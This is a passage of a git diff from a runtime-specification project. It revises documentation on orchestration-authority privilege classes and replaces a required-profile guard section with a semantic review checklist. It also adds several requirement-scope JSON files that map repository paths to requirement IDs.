-342,20 +354,18 @@ a relationship forwarding edge, not a re-typed ship target. The optional `runtime.orchestration_authorities` inventory has model-local and semantic rules. Orchestration-authority ids are stable concrete symbols and unique within a node runtime block; spawn-template and realized-child ids are unique -across the authority. Engines and privilege classes are normalized from open -taxonomies (both carry `unknown` and `other`) while allowing full-value variables, +across the authority. Engine identities use the governed extension vocabulary; +privilege classes retain their defined finite meanings and knowledge sentinels, +while both allow full-value variables, and realized-child `count` accepts a non-negative integer, a `${var}`, or none. -The `require_profile_for_privilege_class` guard makes the `privilege_class` -discriminator executable: a `${var}` placeholder is exempt and `namespaced`/ -`unknown`/`other` are permissive, but a concrete `host_root_equivalent` authority -requires a non-empty, non-variable `control_interface_ref`. At scenario scope a +An authority may describe `host_root_equivalent` posture while its concrete +interface remains unknown. That description grants no privilege. At scenario scope a non-empty, non-variable `control_interface_ref` resolves to a `RuntimeControlInterface` declared in the same node's -`runtime.local_control_interfaces` (by `control_interface_id`); for a -`host_root_equivalent` privilege class the referenced interface must additionally -be a read-write docker socket (access `read_write`, kind `unix_socket`, path -ending in `docker.sock`), with `${var}` interface access/kind/path treated as -deferred and therefore permissive. The `RuntimeControlInterface` shell is +`runtime.local_control_interfaces` (by `control_interface_id`). Neither a +read-write mount nor a path ending in `docker.sock` proves effective access. +Selected privileged operations independently require supported, authorized +access and any genuinely required evidence. The `RuntimeControlInterface` shell is referenced, never duplicated: this surface carries the spawn contract (engine, scope, spawn templates, lifecycle policy, realized children) that the control interface model has no field for. @@ -451,29 +461,47 @@ Neither an omitted implementation choice nor a complete abstract model needs a compulsory product/profile declaration. Identity and provenance fields do not create observation, retention or export demand. -## Runtime required-profile guard convention - -Some runtime-family spines use an open enum-or-string discriminator to select a -required profile from sibling structured fields. Those discriminators are not -documentation-only claims: each documented required-profile discriminator must -have a matching `require_profile_for_` guard invoked by a registered -Pydantic `mode="after"` model validator. This is the executable "cannot -silently shallow-encode" guarantee for spines that actually make a -discriminated completeness claim, currently `data_model`, `agent_kind`, and -`privilege_class`. Platform applications deliberately do not use this -convention: their deprecated `platform_kind` is classification, composable -`capabilities` carry functional roles, and completeness is a separate -requirement concern. - -The convention is enforced by -`test_discriminated_runtime_spines_register_required_profile_guards` in -`tests/test_runtime_family_invariants.py`. The lint discovers runtime-family -models from `RuntimeConfiguration.model_fields`, identifies discriminator -fields whose docs say they select a required profile and whose models carry -sibling structured profile fields, and checks Pydantic's registered -model-validator metadata for the corresponding guard call. A future runtime -spine that declares the same required-profile discriminator shape but omits the -guard fails the test suite. +## Runtime semantic review checklist + +The [issue 959 audit](../../research/language-extensibility/product-semantics-audit.md) +records the motivating failure: backend recipes and captured specimens became +compulsory author detail. A private extension catalog can reproduce that error. +For a new or changed vocabulary, discriminator, profile or validation guard: + +1. Name the semantic owner and distinguish domain identity, configured state, + capability, binding, policy, native data, realization, evidence and delivery. + Explain why an existing owner cannot carry the fact before adding one. +2. State why a finite set is closed. A defined grammar operation, grant effect, + protection decision or exact schema version differs from a product catalog. + Use the owning native grammar for wire tokens and identifiers; do not force + every external name into the governed-vocabulary token syntax. +3. Show a distinct implementation or private case and a partial description. + Check the whole record, including defaults and validators, not just whether + its identity field accepts an extension token. +4. Check an inherited open parent with binding exact children. Optional detail + stays optional until its selected contract needs it. Preserve omitted, + empty, absent and unknown distinctions without per-field waivers or a + compulsory replacement catalog for backend-owned choices. +5. Check a complete abstract model without fabricated OS, package, filesystem + or deployment prerequisites. A backend may resolve a needed concrete value + within its allowed scope; that does not make it mandatory author input. +6. Separate representation/capture capability from requested reporting, + collection, retention and export. Exact scenario detail does not itself + request experimental telemetry. Retain genuinely selected evidence duties. +7. Keep supplied integrity/security constraints and selected-operation + admission. A product identity, socket spelling, profile-shaped record or + schema-valid document is not authorization, support or conformance. +8. Record schema/version, compatibility, migration, comparison and round-trip + impact. Reuse the existing identity/profile mechanisms. Retain bounded + product-specific data honestly; an attribute bag is not new semantics. + +#956 separated platform capabilities from optional content. #1207 removed the +datastore, forwarding and orchestration required-profile guards. Do not restore +them from historical examples. The existing family-invariant lint checks guard +wiring only when model documentation explicitly declares that contract; it does +not decide whether the contract is portable. The audit field-coverage test +likewise detects missing review coverage, not semantic correctness. #1211 owns +the integrated positive/negative lifecycle acceptance of this prevention rule. ## Static Semantic Invariants diff --git a/docs/governance/requirement-scopes/1014.json b/docs/governance/requirement-scopes/1014.json new file mode 100644 index 000000000..77c9d1429 --- /dev/null +++ b/docs/governance/requirement-scopes/1014.json @@ -0,0 +1,166 @@ +{ + "schema_version": "requirement-scope/v1", + "issue_number": 1014, + "primary_requirement_uid": "SEM-234", + "requirement_uids": [ + "SEM-234", + "SCE-002", + "API-407", + "API-423" + ], + "bindings": { + "contracts/fixtures/plans/mixed-participant-composition-profile-v1/invalid/alternative-fallback-pool.json": [ + "SEM-234", + "SCE-002", + "API-407", + "API-423" + ], + "contracts/fixtures/plans/mixed-participant-composition-profile-v1/invalid/duplicate-apparatus-identity.json": [ + "SEM-234", + "SCE-002", + "API-407", + "API-423" + ], + "contracts/fixtures/plans/mixed-participant-composition-profile-v1/invalid/open-metadata.json": [ + "SEM-234", + "SCE-002", + "API-407", + "API-423" + ], + "contracts/fixtures/plans/mixed-participant-composition-profile-v1/invalid/simultaneous-single-form.json": [ + "SEM-234", + "SCE-002", + "API-407", + "API-423" + ], + "contracts/fixtures/plans/mixed-participant-composition-profile-v1/invalid/staged-unadmitted-member.json": [ + "SEM-234", + "SCE-002", + "API-407", + "API-423" + ], + "contracts/fixtures/plans/mixed-participant-composition-profile-v1/invalid/unknown-revision.json": [ + "SEM-234", + "SCE-002", + "API-407", + "API-423" + ], + "contracts/fixtures/plans/mixed-participant-composition-profile-v1/valid/alternative.json": [ + "SEM-234", + "SCE-002", + "API-407", + "API-423" + ], + "contracts/fixtures/plans/mixed-participant-composition-profile-v1/valid/simultaneous-mixed.json": [ + "SEM-234", + "SCE-002", + "API-407", + "API-423" + ], + "contracts/fixtures/plans/mixed-participant-composition-profile-v1/valid/staged.json": [ + "SEM-234", + "SCE-002", + "API-407", + "API-423" + ], + "contracts/schema-publication/entries/mixed-participant-composition-profile-v1.json": [ + "SEM-234" + ], + "contracts/schemas/plans/mixed-participant-composition-profile-v1.json": [ + "SEM-234", + "SCE-002", + "API-407", + "API-423" + ], + "docs/decisions/issue-1014-mixed-composition-contracts-preflight.md": [ + "SEM-234" + ], + "docs/explain/reference/mixed-participant-composition.md": [ + "SEM-234", + "SCE-002", + "API-407", + "API-423" + ], + "docs/governance/requirement-scopes/1014.json": [ + "SEM-234" + ], + "docs/requirements/API-407/requirement.md": [ + "API-407" + ], + "docs/requirements/API-423/requirement.md": [ + "API-423" + ], + "docs/requirements/SCE-002/requirement.md": [ + "SCE-002" + ], + "docs/requirements/SEM-234/requirement.md": [ + "SEM-234" + ], + "docs/research/formal-semantic-validation/bundles/retest-v31.json": [ + "SEM-234" + ], + "docs/research/formal-semantic-validation/execution-snapshot-v31.json": [ + "SEM-234" + ], + "docs/research/specification-coverage/analysis-v31.json": [ + "SEM-234" + ], + "docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1183-v31.json": [ + "SEM-234" + ], + "docs/research/specification-coverage/execution-snapshot-v31.json": [ + "SEM-234" + ], + "implementations/python/packages/raes_conformance/conformance/validators.py": [ + "SEM-234" + ], + "implementations/python/packages/raes_contracts/contracts/__init__.py": [ + "SEM-234" + ], + "implementations/python/packages/raes_contracts/contracts/_exports.py": [ + "SEM-234" + ], + "implementations/python/packages/raes_contracts/contracts/bundle.py": [ + "SEM-234" + ], + "implementations/python/packages/raes_contracts/contracts/mixed_composition.py": [ + "SEM-234", + "SCE-002", + "API-407", + "API-423" + ], + "implementations/python/packages/raes_contracts/contracts/mixed_composition_validation.py": [ + "SEM-234", + "SCE-002", + "API-407", + "API-423" + ], + "implementations/python/packages/raes_contracts/contracts/mixed_composition_resolution.py": [ + "SEM-234", + "SCE-002", + "API-407", + "API-423" + ], + "implementations/python/packages/raes_contracts/json_ingress.py": [ + "SEM-234" + ], + "implementations/python/packages/raes_contracts/versions.py": [ + "SEM-234" + ], + "implementations/python/tests/test_issue_1014_mixed_composition_contracts.py": [ + "SEM-234", + "SCE-002", + "API-407", + "API-423" + ], + "implementations/python/tests/test_issue_1014_mixed_composition_governance.py": [ + "SEM-234" + ], + "tools/generate_contract_schemas.py": [ + "SEM-234" + ], + "tools/policy/requirement_order.yaml": [ + "SEM-234" + ] + } +} diff --git a/docs/governance/requirement-scopes/1016.json b/docs/governance/requirement-scopes/1016.json new file mode 100644 index 000000000..595a67566 --- /dev/null +++ b/docs/governance/requirement-scopes/1016.json @@ -0,0 +1,76 @@ +{ + "schema_version": "requirement-scope/v1", + "issue_number": 1016, + "primary_requirement_uid": "SEM-234", + "requirement_uids": [ + "SEM-234", + "RUN-310", + "RUN-319", + "API-423" + ], + "bindings": { + "contracts/schema-publication/entries/backend-manifest-v2.json": ["SEM-234"], + "contracts/schema-publication/entries/operation-receipt-v1.json": ["SEM-234"], + "contracts/schema-publication/entries/operation-status-v1.json": ["SEM-234"], + "contracts/schema-publication/entries/runtime-snapshot-v1.json": ["SEM-234"], + "contracts/schemas/backend-manifest/backend-manifest-v2.json": ["SEM-234"], + "contracts/schemas/control-plane/operation-receipt-v1.json": ["SEM-234"], + "contracts/schemas/control-plane/operation-status-v1.json": ["SEM-234"], + "contracts/schemas/snapshots/runtime-snapshot-v1.json": ["SEM-234"], + "docs/decisions/issue-1016-mixed-runtime-coordination-preflight.md": ["SEM-234"], + "docs/governance/requirement-scopes/1016.json": ["SEM-234"], + "docs/explain/reference/mixed-participant-composition.md": ["SEM-234"], + "docs/requirements/API-423/requirement.md": ["API-423"], + "docs/requirements/RUN-310/requirement.md": ["RUN-310"], + "docs/requirements/RUN-319/requirement.md": ["RUN-319"], + "docs/requirements/SEM-234/requirement.md": ["SEM-234"], + "docs/research/formal-semantic-validation/analysis-v38.json": ["SEM-234"], + "docs/research/formal-semantic-validation/bundles/retest-v38.json": ["SEM-234"], + "docs/research/formal-semantic-validation/execution-snapshot-v38.json": ["SEM-234"], + "docs/research/formal-semantic-validation/index.md": ["SEM-234"], + "docs/research/specification-coverage/analysis-v38.json": ["SEM-234"], + "docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1016-v38.json": ["SEM-234"], + "docs/research/specification-coverage/execution-snapshot-v38.json": ["SEM-234"], + "docs/research/specification-coverage/index.md": ["SEM-234"], + "implementations/python/packages/raes_contracts/_snapshot_updates.py": ["SEM-234"], + "implementations/python/packages/raes_contracts/contracts/__init__.py": ["SEM-234"], + "implementations/python/packages/raes_contracts/contracts/_mixed_composition_exports.py": ["SEM-234"], + "implementations/python/packages/raes_contracts/contracts/mixed_runtime.py": ["SEM-234"], + "implementations/python/packages/raes_contracts/contracts/realization_plans.py": ["SEM-234"], + "implementations/python/packages/raes_contracts/mixed_runtime_history.py": ["SEM-234"], + "implementations/python/packages/raes_contracts/operation_lifecycle.py": ["SEM-234"], + "implementations/python/packages/raes_contracts/runtime_state.py": ["SEM-234"], + "implementations/python/packages/raes_runtime/__init__.py": ["SEM-234"], + "implementations/python/packages/raes_runtime/backend_snapshot_contracts.py": ["SEM-234"], + "implementations/python/packages/raes_runtime/control_plane.py": ["SEM-234"], + "implementations/python/packages/raes_runtime/control_plane_configuration.py": ["SEM-234"], + "implementations/python/packages/raes_runtime/control_plane_recovery.py": ["SEM-234"], + "implementations/python/packages/raes_runtime/control_plane_store_history.py": ["SEM-234"], + "implementations/python/packages/raes_runtime/control_plane_store_snapshots.py": ["SEM-234"], + "implementations/python/packages/raes_runtime/mixed_runtime.py": ["SEM-234"], + "implementations/python/packages/raes_runtime/mixed_runtime_dispatch.py": ["SEM-234"], + "implementations/python/packages/raes_runtime/mixed_runtime_lifecycle.py": ["RUN-310"], + "implementations/python/packages/raes_runtime/mixed_runtime_phase.py": ["RUN-310"], + "implementations/python/packages/raes_runtime/mixed_runtime_state.py": ["SEM-234"], + "implementations/python/packages/raes_runtime/participant_action_validation.py": ["RUN-319"], + "implementations/python/packages/raes_runtime/participant_control.py": ["RUN-319"], + "implementations/python/packages/raes_runtime/participant_crossing_boundary.py": ["RUN-319"], + "implementations/python/packages/raes_runtime/participant_crossing_policy.py": ["RUN-319"], + "implementations/python/packages/raes_runtime/participant_episode_control.py": ["RUN-310"], + "implementations/python/packages/raes_runtime/participant_result_contracts.py": ["API-423"], + "implementations/python/packages/raes_runtime/participant_submission_options.py": ["RUN-319"], + "implementations/python/tests/test_formal_semantic_validation.py": ["SEM-234"], + "implementations/python/tests/test_issue_1016_mixed_runtime_coordination.py": ["SEM-234"], + "implementations/python/tests/test_issue_989_versioned_evidence.py": ["SEM-234"], + "implementations/python/tests/test_participant_concurrent_batch_reservations.py": ["SEM-234"], + "implementations/python/tests/test_specification_coverage.py": ["SEM-234"], + "tools/check_specification_coverage.py": ["SEM-234"], + "tools/check_json_artifacts.py": ["SEM-234"], + "tools/formal_semantic_validation/_baseline.py": ["SEM-234"], + "tools/formal_semantic_validation/_loading.py": ["SEM-234"], + "tools/formal_semantic_validation/_releases.py": ["SEM-234"], + "tools/formal_semantic_validation/_retest.py": ["SEM-234"], + "tools/policy/requirement_order.yaml": ["SEM-234"], + "tools/verify_all.py": ["SEM-234"] + } +} diff --git a/docs/governance/requirement-scopes/1069.json b/docs/governance/requirement-scopes/1069.json new file mode 100644 index 000000000..39814da5b --- /dev/null +++ b/docs/governance/requirement-scopes/1069.json @@ -0,0 +1,242 @@ +{ + "schema_version": "requirement-scope/v1", + "issue_number": 1069, + "primary_requirement_uid": "RUN-320", + "requirement_uids": [ + "RUN-320", + "API-424", + "RUN-319", + "RUN-310", + "API-404" + ], + "bindings": { + "contracts/schema-publication/entries/participant-control-evaluation-v1.json": [ + "API-424" + ], + "contracts/schema-publication/entries/runtime-snapshot-v1.json": [ + "RUN-320" + ], + "contracts/schemas/participant-runtime/participant-control-evaluation-v1.json": [ + "API-424" + ], + "contracts/schemas/snapshots/runtime-snapshot-v1.json": [ + "RUN-320" + ], + "docs/decisions/issue-1069-run-320-runtime-orchestration-preflight.md": [ + "RUN-320" + ], + "docs/explain/reference/modular-participant-control-contracts.md": [ + "RUN-320" + ], + "docs/governance/requirement-scopes/1069.json": [ + "RUN-320" + ], + "docs/public/participant-control.md": [ + "RUN-320" + ], + "docs/requirements/API-404/requirement.md": [ + "API-404" + ], + "docs/requirements/API-424/requirement.md": [ + "API-424" + ], + "docs/requirements/RUN-310/requirement.md": [ + "RUN-310" + ], + "docs/requirements/RUN-319/requirement.md": [ + "RUN-319" + ], + "docs/requirements/RUN-320/requirement.md": [ + "RUN-320" + ], + "docs/research/formal-semantic-validation/analysis-v40.json": [ + "RUN-320" + ], + "docs/research/formal-semantic-validation/bundles/retest-v40.json": [ + "RUN-320" + ], + "docs/research/formal-semantic-validation/execution-snapshot-v40.json": [ + "RUN-320" + ], + "docs/research/formal-semantic-validation/index.md": [ + "RUN-320" + ], + "docs/research/specification-coverage/analysis-v40.json": [ + "RUN-320" + ], + "docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1069-v40.json": [ + "RUN-320" + ], + "docs/research/specification-coverage/execution-snapshot-v40.json": [ + "RUN-320" + ], + "docs/research/specification-coverage/index.md": [ + "RUN-320" + ], + "implementations/python/packages/raes_contracts/_snapshot_updates.py": [ + "RUN-320" + ], + "implementations/python/packages/raes_contracts/contracts/participant_control_composition.py": [ + "API-424" + ], + "implementations/python/packages/raes_contracts/contracts/participant_control_coordinates.py": [ + "API-424" + ], + "implementations/python/packages/raes_contracts/contracts/participant_control_effect_composition.py": [ + "API-424" + ], + "implementations/python/packages/raes_contracts/contracts/realization_plans.py": [ + "RUN-320" + ], + "implementations/python/packages/raes_contracts/participant_control_evaluation_history.py": [ + "RUN-320" + ], + "implementations/python/packages/raes_contracts/runtime_state.py": [ + "RUN-320" + ], + "implementations/python/packages/raes_runtime/backend_snapshot_contracts.py": [ + "RUN-320" + ], + "implementations/python/packages/raes_runtime/control_plane.py": [ + "RUN-320" + ], + "implementations/python/packages/raes_runtime/control_plane_api_models.py": [ + "RUN-320" + ], + "implementations/python/packages/raes_runtime/control_plane_audit.py": [ + "RUN-320" + ], + "implementations/python/packages/raes_runtime/control_plane_composition.py": [ + "RUN-320" + ], + "implementations/python/packages/raes_runtime/control_plane_configuration.py": [ + "RUN-320" + ], + "implementations/python/packages/raes_runtime/control_plane_store_history.py": [ + "RUN-320" + ], + "implementations/python/packages/raes_runtime/control_plane_store_record_migration.py": [ + "RUN-320" + ], + "implementations/python/packages/raes_runtime/control_plane_store_snapshots.py": [ + "RUN-320" + ], + "implementations/python/packages/raes_runtime/participant_action_validation.py": [ + "RUN-320" + ], + "implementations/python/packages/raes_runtime/participant_control.py": [ + "RUN-320" + ], + "implementations/python/packages/raes_runtime/participant_control_binding.py": [ + "RUN-320" + ], + "implementations/python/packages/raes_runtime/participant_control_causal_state.py": [ + "RUN-320" + ], + "implementations/python/packages/raes_runtime/participant_control_cut.py": [ + "RUN-320" + ], + "implementations/python/packages/raes_runtime/participant_control_effects.py": [ + "RUN-320" + ], + "implementations/python/packages/raes_runtime/participant_control_orchestration.py": [ + "RUN-320" + ], + "implementations/python/packages/raes_runtime/participant_control_receipts.py": [ + "RUN-320" + ], + "implementations/python/packages/raes_runtime/participant_control_records.py": [ + "RUN-320" + ], + "implementations/python/packages/raes_runtime/participant_crossing_boundary.py": [ + "RUN-320" + ], + "implementations/python/packages/raes_runtime/participant_crossing_egress.py": [ + "RUN-320" + ], + "implementations/python/packages/raes_runtime/participant_crossing_state_cut.py": [ + "RUN-320" + ], + "implementations/python/packages/raes_runtime/participant_flow_sink.py": [ + "RUN-320" + ], + "implementations/python/packages/raes_runtime/participant_result_contracts.py": [ + "RUN-320" + ], + "implementations/python/tests/participant_control_runtime_fixtures.py": [ + "RUN-320" + ], + "implementations/python/tests/participant_crossing_fixtures.py": [ + "RUN-320" + ], + "implementations/python/tests/sem233_flow_sink_fixtures.py": [ + "RUN-320" + ], + "implementations/python/tests/test_api_424_composition_derivation.py": [ + "API-424" + ], + "implementations/python/tests/test_formal_semantic_validation.py": [ + "API-424" + ], + "implementations/python/tests/test_issue_1003_final_sink_flow_enforcement.py": [ + "RUN-320" + ], + "implementations/python/tests/test_issue_1069_control_evaluation_authority.py": [ + "RUN-320" + ], + "implementations/python/tests/test_issue_1069_control_evaluation_carrier.py": [ + "RUN-320" + ], + "implementations/python/tests/test_issue_1069_participant_control_binding.py": [ + "RUN-320" + ], + "implementations/python/tests/test_issue_1069_participant_control_durability.py": [ + "RUN-320" + ], + "implementations/python/tests/test_issue_1069_participant_control_effects.py": [ + "RUN-320" + ], + "implementations/python/tests/test_issue_1069_participant_control_orchestration.py": [ + "RUN-320" + ], + "implementations/python/tests/test_issue_1092_control_plane_crash_consistency.py": [ + "RUN-320" + ], + "implementations/python/tests/test_issue_1180_snapshot_revision_cas.py": [ + "RUN-320" + ], + "implementations/python/tests/test_issue_1184_atomic_idempotency_claims.py": [ + "RUN-320" + ], + "implementations/python/tests/test_issue_1186_control_plane_recovery_operations.py": [ + "RUN-320" + ], + "implementations/python/tests/test_issue_989_versioned_evidence.py": [ + "RUN-320" + ], + "implementations/python/tests/test_participant_concurrent_batch_reservations.py": [ + "RUN-320" + ], + "implementations/python/tests/test_specification_coverage.py": [ + "RUN-320" + ], + "tools/check_specification_coverage.py": [ + "RUN-320" + ], + "tools/formal_semantic_validation/_baseline.py": [ + "RUN-320" + ], + "tools/formal_semantic_validation/_loading.py": [ + "RUN-320" + ], + "tools/formal_semantic_validation/_releases.py": [ + "RUN-320" + ], + "tools/formal_semantic_validation/_retest.py": [ + "RUN-320" + ], + "tools/policy/requirement_order.yaml": [ + "RUN-320" + ] + } +} diff --git a/docs/governance/requirement-scopes/1072.json b/docs/governance/requirement-scopes/1072.json new file mode 100644 index 000000000..205d59d91 --- /dev/null +++ b/docs/governance/requirement-scopes/1072.json @@ -0,0 +1,230 @@ +{ + "schema_version": "requirement-scope/v1", + "issue_number": 1072, + "primary_requirement_uid": "API-424", + "requirement_uids": [ + "API-424", + "SEM-235", + "API-407", + "API-409", + "API-423" + ], + "bindings": { + "docs/research/formal-semantic-validation/analysis-v37.json": ["API-424"], + "docs/research/formal-semantic-validation/bundles/retest-v37.json": ["API-424"], + "docs/research/formal-semantic-validation/execution-snapshot-v37.json": ["API-424"], + "docs/research/specification-coverage/analysis-v37.json": ["API-424"], + "docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1072-v37.json": ["API-424"], + "docs/research/specification-coverage/execution-snapshot-v37.json": ["API-424"], + "implementations/python/packages/raes_contracts/contracts/_candidate_synthesis_facade.py": ["API-424"], + "implementations/python/tests/test_issue_989_versioned_evidence.py": ["API-424"], + "docs/research/formal-semantic-validation/index.md": ["API-424"], + "docs/research/specification-coverage/index.md": ["API-424"], + "implementations/python/tests/test_formal_semantic_validation.py": ["API-424"], + "implementations/python/tests/test_specification_coverage.py": ["API-424"], + "tools/check_specification_coverage.py": ["API-424"], + "tools/formal_semantic_validation/_baseline.py": ["API-424"], + "tools/formal_semantic_validation/_loading.py": ["API-424"], + "tools/formal_semantic_validation/_releases.py": ["API-424"], + "tools/formal_semantic_validation/_retest.py": ["API-424"], + "docs/research/formal-semantic-validation/analysis-v36.json": ["API-424"], + "docs/research/formal-semantic-validation/bundles/retest-v36.json": ["API-424"], + "docs/research/formal-semantic-validation/execution-snapshot-v36.json": ["API-424"], + "docs/research/specification-coverage/analysis-v36.json": ["API-424"], + "docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1072-v36.json": ["API-424"], + "docs/research/specification-coverage/execution-snapshot-v36.json": ["API-424"], + "implementations/python/packages/raes_contracts/contracts/_participant_control_exports.py": ["API-424"], + "contracts/fixtures/participant-runtime/participant-control-evaluation-v1/valid/exhausted-replay.json": ["API-424"], + "implementations/python/packages/raes_contracts/contracts/participant_control_effect_composition.py": ["API-424"], + "implementations/python/tests/test_api_424_review_regressions.py": ["API-424"], + "implementations/python/packages/raes_contracts/participant_flow_policy_profiles.py": ["API-424"], + "contracts/fixtures/backend-manifest/backend-manifest-v2/valid/stub.json": ["API-424"], + "contracts/fixtures/concept-authority/controlled-vocabularies-v1/valid/reference.json": ["API-424"], + "contracts/concept-authority/controlled-vocabularies-v1.json": [ + "API-424" + ], + "contracts/fixtures/participant-runtime/participant-control-evaluation-v1/context-invalid/dishonest.json": [ + "API-424" + ], + "contracts/fixtures/participant-runtime/participant-control-evaluation-v1/context-invalid/stale.json": [ + "API-424" + ], + "contracts/fixtures/participant-runtime/participant-control-evaluation-v1/invalid/executable-selector.json": [ + "API-424" + ], + "contracts/fixtures/participant-runtime/participant-control-evaluation-v1/valid/conflict.json": [ + "API-424" + ], + "contracts/fixtures/participant-runtime/participant-control-evaluation-v1/valid/downgrade.json": [ + "API-424" + ], + "contracts/fixtures/participant-runtime/participant-control-evaluation-v1/valid/teaching-inject.json": [ + "API-424" + ], + "contracts/fixtures/participant-runtime/participant-control-selection-v1/invalid/executable-selector.json": [ + "API-424" + ], + "contracts/fixtures/participant-runtime/participant-control-selection-v1/valid/teaching-inject.json": [ + "API-424" + ], + "contracts/fixtures/participant-runtime/participant-control-teaching-profile-v1/invalid/teaching.json": [ + "API-424" + ], + "contracts/fixtures/participant-runtime/participant-control-teaching-profile-v1/valid/teaching.json": [ + "API-424" + ], + "contracts/profiles/participant-control/teaching-influence-rev1.json": [ + "API-424" + ], + "contracts/schema-publication/entries/backend-manifest-v2.json": [ + "API-424" + ], + "contracts/schema-publication/entries/backend-profile-v1.json": [ + "API-424" + ], + "contracts/schema-publication/entries/participant-control-evaluation-v1.json": [ + "API-424" + ], + "contracts/schema-publication/entries/participant-control-selection-v1.json": [ + "API-424" + ], + "contracts/schema-publication/entries/participant-control-teaching-profile-v1.json": [ + "API-424" + ], + "contracts/schemas/backend-manifest/backend-manifest-v2.json": [ + "API-424" + ], + "contracts/schemas/participant-runtime/participant-control-evaluation-v1.json": [ + "API-424" + ], + "contracts/schemas/participant-runtime/participant-control-selection-v1.json": [ + "API-424" + ], + "contracts/schemas/participant-runtime/participant-control-teaching-profile-v1.json": [ + "API-424" + ], + "contracts/schemas/profiles/backend-profile-v1.json": [ + "API-424" + ], + "docs/decisions/issue-1072-api-407-feature-support-preflight.md": [ + "API-424" + ], + "docs/decisions/issue-1072-api-409-control-effect-bindings-preflight.md": [ + "API-424" + ], + "docs/decisions/issue-1072-api-424-provider-contracts-preflight.md": [ + "API-424" + ], + "docs/explain/reference/modular-participant-control-contracts.md": [ + "API-424" + ], + "docs/governance/requirement-scopes/1072.json": [ + "API-424" + ], + "docs/public/participant-control.md": [ + "API-424" + ], + "docs/requirements/API-407/requirement.md": [ + "API-407" + ], + "docs/requirements/API-409/requirement.md": [ + "API-409" + ], + "docs/requirements/API-423/requirement.md": [ + "API-423" + ], + "docs/requirements/API-424/requirement.md": [ + "API-424" + ], + "docs/requirements/SEM-235/requirement.md": [ + "SEM-235" + ], + "implementations/python/packages/raes/observability_plane_semantics.py": [ + "API-424" + ], + "implementations/python/packages/raes_backend_protocols/participant_control_admission.py": [ + "API-424" + ], + "implementations/python/packages/raes_backend_protocols/protocols.py": [ + "API-424" + ], + "implementations/python/packages/raes_conformance/conformance/validators.py": [ + "API-424" + ], + "implementations/python/packages/raes_contracts/contracts/__init__.py": [ + "API-424" + ], + "implementations/python/packages/raes_contracts/contracts/_exports.py": [ + "API-424" + ], + "implementations/python/packages/raes_contracts/contracts/bundle_runtime.py": [ + "API-424" + ], + "implementations/python/packages/raes_contracts/contracts/participant_control_composition.py": [ + "API-424" + ], + "implementations/python/packages/raes_contracts/contracts/participant_control_coordinates.py": [ + "API-424" + ], + "implementations/python/packages/raes_contracts/contracts/participant_control_effects.py": [ + "API-424" + ], + "implementations/python/packages/raes_contracts/contracts/participant_control_profiles.py": [ + "API-424" + ], + "implementations/python/packages/raes_contracts/contracts/participant_control_resolution.py": [ + "API-424" + ], + "implementations/python/packages/raes_contracts/contracts/participant_control_results.py": [ + "API-424" + ], + "implementations/python/packages/raes_contracts/contracts/participant_control_selection.py": [ + "API-424" + ], + "implementations/python/packages/raes_contracts/json_ingress.py": [ + "API-424" + ], + "implementations/python/packages/raes_contracts/manifest_authority.py": [ + "API-424" + ], + "implementations/python/tests/participant_control_contract_fixtures.py": [ + "API-424" + ], + "implementations/python/tests/test_api_424_capability_admission.py": [ + "API-424" + ], + "implementations/python/tests/test_api_424_composition_boundaries.py": [ + "API-424" + ], + "implementations/python/tests/test_api_424_control_effects.py": [ + "API-424" + ], + "implementations/python/tests/test_api_424_control_resolution.py": [ + "API-424" + ], + "implementations/python/tests/test_api_424_governance.py": [ + "API-424" + ], + "implementations/python/tests/test_api_424_participant_control_contracts.py": [ + "API-424" + ], + "implementations/python/tests/test_api_424_publication.py": [ + "API-424" + ], + "implementations/python/tests/test_api_424_security_profile.py": [ + "API-424" + ], + "implementations/python/tests/test_corpus_packaging.py": [ + "API-424" + ], + "implementations/python/tests/test_json_ingress.py": [ + "API-424" + ], + "tools/generate_contract_schemas.py": [ + "API-424" + ], + "tools/policy/requirement_order.yaml": [ + "API-424" + ] + } +} diff --git a/docs/governance/requirement-scopes/1237.json b/docs/governance/requirement-scopes/1237.json new file mode 100644 index 000000000..e2fa13c7b --- /dev/null +++ b/docs/governance/requirement-scopes/1237.json @@ -0,0 +1,248 @@ +{ + "schema_version": "requirement-scope/v1", + "issue_number": 1237, + "primary_requirement_uid": "EXP-708", + "requirement_uids": [ + "EXP-708", + "EXP-715", + "GOV-913", + "SEM-218", + "ASR-519" + ], + "bindings": { + "implementations/python/tests/test_exp_732_evidence_provenance.py": [ + "EXP-708" + ], + "implementations/python/tests/test_reference_backend_provisioner.py": [ + "SEM-218" + ], + "implementations/python/tests/test_issue_1212_observation_demand.py": [ + "SEM-218" + ], + "docs/requirements/SEM-218/requirement.md": [ + "SEM-218" + ], + "docs/requirements/ASR-519/requirement.md": [ + "ASR-519" + ], + "implementations/python/packages/raes_processor/semantics/realization.py": [ + "SEM-218" + ], + "implementations/python/packages/raes_processor/semantics/realization_compute_substrate.py": [ + "SEM-218" + ], + "implementations/python/packages/raes_contracts/realization_operational_observation.py": [ + "SEM-218" + ], + "implementations/python/packages/raes_conformance/_realization_validation.py": [ + "ASR-519" + ], + "implementations/python/tests/test_issue_1237_source_sufficiency.py": [ + "SEM-218" + ], + "implementations/python/tests/test_realization_honesty_conformance.py": [ + "ASR-519" + ], + "implementations/python/tests/test_corpus_packaging.py": [ + "GOV-913" + ], + ".github/workflows/canonical-verification.yml": [ + "GOV-913" + ], + "Makefile": [ + "GOV-913" + ], + "docs/decisions/issue-1237-capture-proof-authority-preflight.md": [ + "EXP-708" + ], + "docs/governance/requirement-scopes/1237.json": [ + "GOV-913" + ], + "docs/governance/requirement-scopes/README.md": [ + "GOV-913" + ], + "docs/migration/required-capture-admission.md": [ + "EXP-708" + ], + "docs/requirements/ASR-530/requirement.md": [ + "EXP-708" + ], + "docs/requirements/DSL-124/requirement.md": [ + "EXP-715" + ], + "docs/requirements/EXP-708/requirement.md": [ + "EXP-708" + ], + "docs/requirements/EXP-715/requirement.md": [ + "EXP-715" + ], + "docs/requirements/GOV-913/requirement.md": [ + "GOV-913" + ], + "docs/research/formal-semantic-validation/archive-contracts/README.md": [ + "EXP-708" + ], + "docs/research/formal-semantic-validation/index.md": [ + "EXP-708" + ], + "docs/research/specification-coverage/historical-artifacts/issue-1237-pre-sync-release-v15.json": [ + "EXP-708" + ], + "docs/research/specification-coverage/index.md": [ + "EXP-708" + ], + 